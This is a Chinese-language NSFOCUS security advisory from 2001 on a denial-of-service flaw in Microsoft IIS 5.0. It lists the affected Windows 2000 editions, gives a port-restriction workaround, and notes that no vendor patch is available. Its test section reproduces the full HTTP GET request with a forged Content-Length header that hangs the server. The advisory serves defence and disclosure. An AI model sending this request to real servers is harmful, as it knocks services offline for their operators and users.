Microsoft IIS 伪造的 “Content-Length” 拒绝服务漏洞

/ns/ld/win/data/20011218211225.htm

发布日期: 2001-12-11

更新日期: 2001-12-18
受影响的系统: Microsoft IIS 5.0
+ Microsoft Windows 2000 Datacenter Server
+ Microsoft Windows 2000 Advanced Server
- Microsoft Windows 2000 Advanced Server SP1
- Microsoft Windows 2000 Advanced Server SP2
- Microsoft Windows 2000 Datacenter Server SP1
- Microsoft Windows 2000 Datacenter Server SP2
+ Microsoft Windows 2000 Professional
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 2000 Professional SP2
+ Microsoft Windows 2000 Server
- Microsoft Windows 2000 Server SP1
- Microsoft Windows 2000 Server SP2

描述:
--------------------------------------------------------------------------------

BUGTRAQ ID: 3667

通过向IIS 5.0发送一个精心构造的请求,可能导致IIS 5.0拒绝服务。

当IIS 5.0接到一个包含伪造的“Content-Length”域的GET请求时,会以一种异常的方
式处理该请求,即IIS 5.0保持该连接并且不超时,但是不再响应其它请求,只有重新
启动才能恢复正常工作。

<*来源:Ivan Hernandez Puga
(ivan.hernandez@globalsis.com.ar)
链接:http://archives.neohapsis.com/archives/bugtraq/2001-12/0098.html
*>



测试程序:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


Ivan Hernandez Puga (ivan.hernandez@globalsis.com.ar)提供了
如下测试代码:

GET /testfile HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/vnd.ms-excel, application/vnd.ms-powerpoint,
application/msword, */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: 192.168.0.10
Connection: Keep-Alive
Content-Length: 5300643
Authorization: Basic



--------------------------------------------------------------------------------
建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 通过配置限制非信任主机对80端口的访问

厂商补丁:

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商
的主页以获取最新版本:
http://www.microsoft.com




绿盟科技翻译整理,未经许可,不得转载